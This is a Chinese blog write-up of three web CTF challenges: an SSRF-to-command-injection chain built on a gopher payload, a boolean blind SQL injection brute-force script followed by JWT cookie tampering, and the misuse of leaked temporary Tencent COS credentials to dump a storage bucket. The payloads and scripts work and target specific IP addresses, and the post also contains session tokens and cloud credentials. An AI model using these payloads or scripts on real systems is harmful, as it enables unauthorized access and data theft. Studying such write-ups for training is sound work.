林学长的题目

Q1:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
if(!(isset($_POST['url']))){
show_source(__FILE__);
}
// include_once "ping.php";
if (isset($_POST['url'])) {
$link = $_POST['url'];
if(check($link)){
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}else{
echo "unknown error";
}

}

function check($url) {
$url = parse_url($url);
if(isset($url['port'])){ //rewrite url if port exist
$url['path']= ':'.$url['port'].$url['path'];
}
if(isset($url['scheme'])){ # filter scheme
if(strcasecmp($url['scheme'], "ftp") === 0 || strcasecmp($url['scheme'], "telnet") === 0 || strcasecmp($url['scheme'], "dict") === 0 || strcasecmp($url['scheme'], "file") === 0 || strcasecmp($url['scheme'], "ldap") === 0){
return FALSE;
}
}
$host = $url['host'];


if(!preg_match('/[a-zA-Z]/', $host)){
$ip = $host;
if(is_inner_ip_regx($ip)){
return FALSE;
}
}else{
$ip = gethostbyname($host);
if($ip ===$host){
return FALSE;
}
if(is_inner_ip_regx($ip)){
return FALSE;
}
}
return TRUE;
}

function is_inner_ip_regx($ip){
$pattern = "/^(127\.0\.0\.1)|(localhost)|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(172\.((1[6-9])|(2\d)|(3[01]))\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})$/";
if(preg_match($pattern, $ip)){
return TRUE;
}else{
return FALSE;
}
}

ping.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$remote_ip = $_SERVER['REMOTE_ADDR'];
if($remote_ip !== "127.0.0.1") {
echo "Can only be accessed on localhost";
exit();
}
show_source(__FILE__);
extract($_POST);
$ip = $ip ? $ip : "127.0.0.1";


$ip = myescapeshellarg($ip);
$cmd = "ping -c 1 $ip";
system($cmd);

function myescapeshellarg($data){
$data = str_replace("\"","\\\"", $data);
$data = str_replace("'","\\'", $data);
$data = str_replace(";","", $data);
$data = str_replace("|","", $data);
$data = str_replace("&","", $data);
$data = str_replace(" ","", $data);
$data = "\"$data\"";
return $data;
}

要素:

1、curl_setopt可能触发ssrf,以此访问ping.php

1、gopher协议给ping.php发POST

2、IP的多种书写形式绕过对IP的格式检测

3、指令双引号内 换行符+反引号 连接多条命令并执行

4、%09绕过空格过滤

5、Content-Length小于实际长度导致Bad request

payload:

1
url=gopher%3a%2f%2f0.0.0.0%3a80%2f_POST%2520%252fping.php%2520HTTP%252f1.1%250d%250AHost%253a%2520127.0.0.1%250d%250AContent-Length%253a%252030%250d%250AContent-Type%253a%2520application%252fx-www-form-urlencoded%250d%250A%250d%250Aip%253d8.8.8.8%250a%250d%2560cat%09/flag%2560

flag:

1
flag{e86ca74653156b65679f3807d78d10f9}

Q2:

测试步骤:

1、确认回显类型

单引号包裹且无注释/单引号/ ‘1’=’1等等:无回显

符号或关键词被检测:回显attack

字符串/双单引号等等:账号不存在

1’or 1=1 –+ : 账号或密码错误

2、代码逻辑猜测:
先执行 select * from table where username = ‘$username’; 并获取查询结果
报错 -> 无回显
无用户 -> 账号不存在
有用户 ->
执行 select * from table where username = ‘​$username’ and password = ‘$password’;(?)

但是理论上1’or 1=1 –+ 应该会直接登录才对,实际回显账号或密码错误,这,,,,

陈学长指点:

1、收集信息,确认只有登陆点可用,无其他攻击面,于是利用和登陆点有关的攻击手段,比如sql注入

2、顺手跑几个弱口令,发现了 “账户不存在” 的回显

3、通常期望中password不存在注入,实际业务中不会明文传输password,利于传输hash后的password,于是测试username的注入情况

4、通过加引号,加逻辑与加逻辑或发现存在注入,以及 “用户名或密码错误” 的回显

5、打几个关键词,测试waf,发现了 “attack” 的回显,得到了会对username 进行攻击语句的捕获的逻辑

6、因此可以推断存在bool盲注

7、整理后端逻辑:

​ 首先获取 username 和 password

​ 防护的语句肯定会在业务逻辑之前

​ 同时考虑到 账户不存在 和 用户名或密码错误 这两个回显的逻辑关系,前者在前

8、确认漏洞点。因此有可能存在 username 在两条 sql 语句里的注入点,作了尝试 (1’or 1=1 –+)回显用户名或密码错误排除了第二个注入点,说明只有第一条 sql 的 username 处存在布尔盲注。

(之所以不考虑uid,username,password三个同步匹配的情况,要从实际出发 ,uid 匹配这种逻辑 在实际中没有意义)

注入:

database部分

payload:

1
' or mid(database(),1,1)='1' -- +

爆破得到数据库名:vulrange1

user部分

payload:

1
' or mid(user(),1,1)='1' -- +

爆破得到用户名:localhost

is_admin uid username pasword部分

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re

login_url = 'http://49.234.127.130:10008/login.php'
allString = '''-atAT1234567890qweryuiopsdfghjklzxcvbnmQWERYUIOPSDFGHJKLZXCVBNM~`!@#$^&*()_=+[]{};:'"|\,<.>/?'''
re = ''

while 1:
for i in allString:
login_data = {
'uid': '1',
'username': "' or mid(concat(is_admin,'-',uid,'-',username,'-',password),1,200) like '" + re + "%s" % i + "%" + "' -- +",
'password': 'admin',
'is_admin': '1'
}
res = requests.post(url=login_url, data=login_data).text
if "用户名或密码错误!" in res:
re = re + i
print(re)
break

得到的用户数据如下:

1-4453445581-admin_3022-b44bb413ba2dc48362c20aa5ce4440d7

0-9983275606-test_user-161d2089a4a9d169471082a536c1c410

发现只有后者可以md5反解,得到密码为tencent@123,登陆后给出需要以admin身份才能看到flag的提示

抓包分析,直接修改is_admin的值没有作用,又考虑到没有更多的注入点,因此考虑修改cookie,分析cookie结构是jwt,decode后改成admin的参数再encode提交,得到flag

flag:

1
flag{wefjq124ihhj47jofe912}

Q3:

测试步骤:

1、信息收集

动态验证码注册,生成token登录,应该不存在注入

有上传文件的功能,php可以乱传,但是看样子应该使用的腾讯云myqcloud(?),估计走不通蚁剑啥的

御剑和appprint指纹识别失败

wappalyzer识别web服务器是gunicorn,猜测是flask写的,CDN是jsDelivr,盲区

抓包收集:

登录:

1
session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiYmQ3NjgyZGY0MmVjNDg2MDFmOWEyOGIyMzI5ZjhjOTk4Y2Q2Mzk4NCJ9.X4VYrQ.xZEK_bFFhSIUQ_vxeDK-CRoJVcE

获取index:

1
session=.eJwlj0tqBDEMBe_i9QxIsmxLc5nG1oeEQALdM6uQu8chy1o8qt53OfKM6608nucrbuV49_IoJGZ9zqquOQVZnFZdPpoir2nhvS1uTGFqFrmCcHqDNGfnjShJBNLRmTr1YBKaq8fwqmyjYV_VpufGFpO8NqcRmgpQRwKUW7HrzOP59RGfu2eru5Dnn5GlA6ZOkkWVNMVUxbxXFd671xXn_4nKqLlG3MHqvCPGuq8WG4lpGgYAUPn5BeM1SUI.X4VYuQ.EKJlGQlo57Z5mBKeu4JuhKcKTZM

第二次获取index:

1
session=.eJwlj0tqBDEMBe_i9QxIsmxLc5nG1oeEQALdM6uQu8chy1o8qt53OfKM6608nucrbuV49_IoJGZ9zqquOQVZnFZdPpoir2nhvS1uTGFqFrmCcHqDNGfnjShJBNLRmTr1YBKaq8fwqmyjYV_VpufGFpO8NqcRmgpQRwKUW7HrzOP59RGfu2eru5Dnn5GlA6ZOkkWVNMVUxbxXFd671xXn_4nKqLlG3MHqvCPGuq8WG4lpGgYAUPn5BeM1SUI.X4VYvg.zq_cxptWmN4u6-xw2cbUnLkVRq0

初步推断和flask session伪造有关

2、session分析

第一个:注册生成的session经过decode可以看出其作用是跨站请求获取验证码,后续也许会在脚本里面用到(大概,用不上更好

第二个:先跑个解密脚本

1
2
3
4
5
python flask_session_cookie_manager3.py decode -c "".eJwlj0tqBDEMBe_i9QxIsmxLc5nG1oeEQALdM6uQu8chy1o8qt53OfKM6608nucrbuV49_IoJGZ9zqquOQVZnFZdPpoir2nhvS1uTGFqFrmCcHqDNGfnjShJBNLRmTr1YBKaq8fwqmyjYV_VpufGFpO8NqcRmgpQRwKUW7HrzOP59RGfu2eru5Dnn5GlA6ZOkkWVNMVUxbxXFd671xXn_4nKqLlG3MHqvCPGuq8WG4lpGgYAUPn5BeM1SUI.X4VYuQ.EKJlGQlo57Z5mBKeu4JuhKcKTZM""

python flask_session_cookie_manager3.py decode -c "".eJwlj0tqBDEMBe_i9QxIsmxLc5nG1oeEQALdM6uQu8chy1o8qt53OfKM6608nucrbuV49_IoJGZ9zqquOQVZnFZdPpoir2nhvS1uTGFqFrmCcHqDNGfnjShJBNLRmTr1YBKaq8fwqmyjYV_VpufGFpO8NqcRmgpQRwKUW7HrzOP59RGfu2eru5Dnn5GlA6ZOkkWVNMVUxbxXFd671xXn_4nKqLlG3MHqvCPGuq8WG4lpGgYAUPn5BeM1SUI.X4VYvg.zq_cxptWmN4u6-xw2cbUnLkVRq0""

python flask_session_cookie_manager3.py decode -c "".eJwlj0tqBDEMBe_i9QxIsmxLc5nG1oeEQALdM6uQu8chy1o8qt53OfKM6608nucrbuV49_IoJGZ9zqquOQVZnFZdPpoir2nhvS1uTGFqFrmCcHqDNGfnjShJBNLRmTr1YBKaq8fwqmyjYV_VpufGFpO8NqcRmgpQRwKUW7HrzOP59RGfu2eru5Dnn5GlA6ZOkkWVNMVUxbxXFd671xXn_4nKqLlG3MHqvCPGuq8WG4lpGgYAUPn5BeM1SUI.X4VijA.P9_9JmNsS4HgsKJYHKa9csN_DKo""

解密得到结果:

1
2
3
4
5
b'{"_fresh":true,"_id":"28cc6aa39d9fa8148d2b3bd75914baced65b4542ec9ccefbe21ad50fcd4d4fbe18f220861d42626e4282ab6e7d394c7516b3cadfd395ea2d35d27e9f90037f00","csrf_token":"bd7682df42ec48601f9a28b2329f8c998cd63984","user_id":"3419fb7e-0c3a-11eb-b5ee-0242ac1e0002"}'

b'{"_fresh":true,"_id":"28cc6aa39d9fa8148d2b3bd75914baced65b4542ec9ccefbe21ad50fcd4d4fbe18f220861d42626e4282ab6e7d394c7516b3cadfd395ea2d35d27e9f90037f00","csrf_token":"bd7682df42ec48601f9a28b2329f8c998cd63984","user_id":"3419fb7e-0c3a-11eb-b5ee-0242ac1e0002"}'

b'{"_fresh":true,"_id":"28cc6aa39d9fa8148d2b3bd75914baced65b4542ec9ccefbe21ad50fcd4d4fbe18f220861d42626e4282ab6e7d394c7516b3cadfd395ea2d35d27e9f90037f00","csrf_token":"bd7682df42ec48601f9a28b2329f8c998cd63984","user_id":"3419fb7e-0c3a-11eb-b5ee-0242ac1e0002"}'

不知道key,卡住

3、flask分析

随便找了几个位置打ssti,都没啥东西,估计走不通

4、文件上传

如果上传文件的文件名是类似%7B%7B2%7D%7D,1之类的,获取文件会出现以下类似的报错回显

1
2
3
4
5
6
7
8
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<Error>
<Code>NoSuchKey</Code>
<Message>The specified key does not exist.</Message>
<Resource>file-1252100769.cos.ap-guangzhou.myqcloud.com/3419fb7e-0c3a-11eb-b5ee-0242ac1e0002/{{2}}</Resource>
<RequestId>NWY4NDQzYjJfNzNhMzNiMGFfMjk2Y18yNzQyZjE1</RequestId>
<TraceId>OGVmYzZiMmQzYjA2OWNhODk0NTRkMTBiOWVmMDAxODc0OWRkZjk0ZDM1NmI1M2E2MTRlY2MzZDhmNmI5MWI1OTdjMDczODYwZjM5YTU3ZmZmOWI5MmY4NjkxY2I3MGNiMzdmNDNiMDY2MjNhZjAzN2RiYjViNmQ5ZGFkZTk1Njc=</TraceId>
</Error>

同一账号下,读取时间和读取文件会影响RequestId的值,但TraceId保持不变

TraceId通过base64出来是128位

1
8efc6b2d3b069ca89454d10b9ef0018749ddf94d356b53a614ecc3d8f6b91b597c073860f39a57fff9b92f8691cb70cb37f43b06623af037dbb5b6d9dade9567

不知道有啥用。。。先放一下

陈学长指点:

关键词:cos,云安全

上传文件抓包:

1
{"sessionToken": "G8krVwh3NTbHu41jxbfFnhsRprMbt8ma680be833e6405f5c1854c1a426cf73436yVIvHjOoY-ytPlOwtyp15-pZyiYlRoFOk0u72cCOM6qI-L4NqQV_RJA0OaIznxuAoXEXGass6--CMy8FrG6YTOGhUHsFgNdeiugAxnzAvO8-klS2Q57B7nF7Q-j__9dM04LJwAWKFOc2rDSzUBxrN6Iv4ZKWDfz-_uHpAv8y3R7qkw_pCYKm6ZhI-hvSNWivpDJ6RO4p52XfvCFY1fl6_BkYVlOYSLqDwf_KP3Rc3RnvzYr7-6K9V8zYl_QJGhmoUmZlT9FF9GLRrBo2sDGm_ojnDckTdyM1wxpUJdoGLwg44RF95B_g3CD0HSPzi0HCyY5FpGzzzFHpQMoOAb_BIRmstkZ6D92jmPhkM69CjIb5I8XlkF7T0MfsA8r4H3J26YzxwEhAKjQ58Erp35RUdHWIBEroakvwwk5PNzyDIYlpiHvdKERLDZx74-OgeEMiz1Ih2E8dE5jz9UZ4OOKN18NxUZ75ZeX48faMcvw1uaR0xfygrBtnuJudAyXuLy6tG99HMFWUxqC-4gAKwIhWjznwMmconXZtTpxSHq2EylHUe1qxyV-d_20kwu8jaEpUztBKd6nSx0tr2vyBBOnUfvY1VsQYpUlo-5Zn1soX9Fu90ohinaBkdnBM5-SBwInPGngYkb91jPV9dSi775Q7lSWM_6qla3ow7WUDmuQ0XRSF1duIFfvub8RSnTi1eXUKsHE1PzX6n3tECe7GG4Vd3M2cZtlHjeYS-7fbaDQ_4DeAVxnazDc4SXhb-Nir6V_kVRYmdE6C5SiUach2lx3AyVbXNZ2PFgNSpG3HyDQTWZzPpp9fDYoKuxT3ixLyQrOQyGvRlnCq4Nv0LkBbbVTbGGvaQbU4E-D0yLloi9KtJU", "tmpSecretId": "AKIDeO-sGaYQNu7p4fY3czQvT8l2C6V-RuP_-HtovOapviSl6V639-nri-EVtXDF5zBe", "tmpSecretKey": "YLhSFXm7ku6Aojrf4MYsAdhAp+8GT/HjPtUZxZlvbpg="}

同时又有

1
2
bucket = "file-1252100769";
region = "ap-guangzhou";

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging
import requests
import json
import re

logging.basicConfig(level=logging.INFO, stream=sys.stdout)

url = 'http://49.234.127.130:10009/gen_tmp_credentials'

header = {
'Content-type': 'application/x-www-form-urlencoded',
'Origin': 'http://49.234.127.130:10009',
'Referer': 'http://49.234.127.130:10009/?success',
'Cookie': 'session=.eJwlj0tqBDEMBe_i9QxIsmxLc5nG1oeEQALdM6uQu8chy1o8qt53OfKM6608nucrbuV49_IoJGZ9zqquOQVZnFZdPpoir2nhvS1uTGFqFrmCcHqDNGfnjShJBNLRmTr1YBKaq8fwqmyjYV_VpufGFpO8NqcRmgpQRwKUW7HrzOP59RGfu2eru5Dnn5GlA6ZOkkWVNMVUxbxXFd671xXn_4nKqLlG3MHqvCPGuq8WG4lpGgYAUPn5BeM1SUI.X4VmVQ.hvZgCQr44DV5QOVPQhWyqsMGnDE'
}

data = {
"prefix": "3419fb7e-0c3a-11eb-b5ee-0242ac1e0002"
}

s = requests.Session()


def get_key():
re = s.post(url, data=json.dumps(data), headers=header)
return s.post(url, data=json.dumps(data), headers=header).json()


if __name__ == '__main__':
credentials = get_key()

bucket = 'file-1252100769'

secret_id = credentials['tmpSecretId']
secret_key = credentials['tmpSecretKey']
region = 'ap-guangzhou'
token = credentials['sessionToken']
scheme = 'https'
config = CosConfig(Region=region, SecretId=secret_id,
SecretKey=secret_key, Token=token, Scheme=scheme)

client = CosS3Client(config)

response = client.list_objects(
Bucket=bucket,
Prefix=''
)

filename1 = 'Allresponse.txt'
with open(filename1, 'w') as f:
f.write(str(response))
f.close()

filename2 = 'Allfile.txt'
for a in response['Contents']:
Key = a['Key']
if "exe" in str(Key):
continue
if "60000.jffs2" in str(Key):
continue
if "f8b6242c-0bad-11eb-9463-0242ac" in str(Key):
continue
if "dll" in str(Key):
continue

f = client.get_object(
Bucket=bucket,
Key=Key,
)

fp = f['Body'].get_raw_stream()
rel = fp.read()
restr = str(rel)

a = re.findall(r'flag{\w*}', restr)
if a != []:
for b in a:
with open(filename2, 'a+') as f:
f.write('Key:' + Key + '-----Value:'+ b + '\n')


找到对应的目录以及

flag:

1
flag{c8130d909ee595263e177a8254af5c81}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!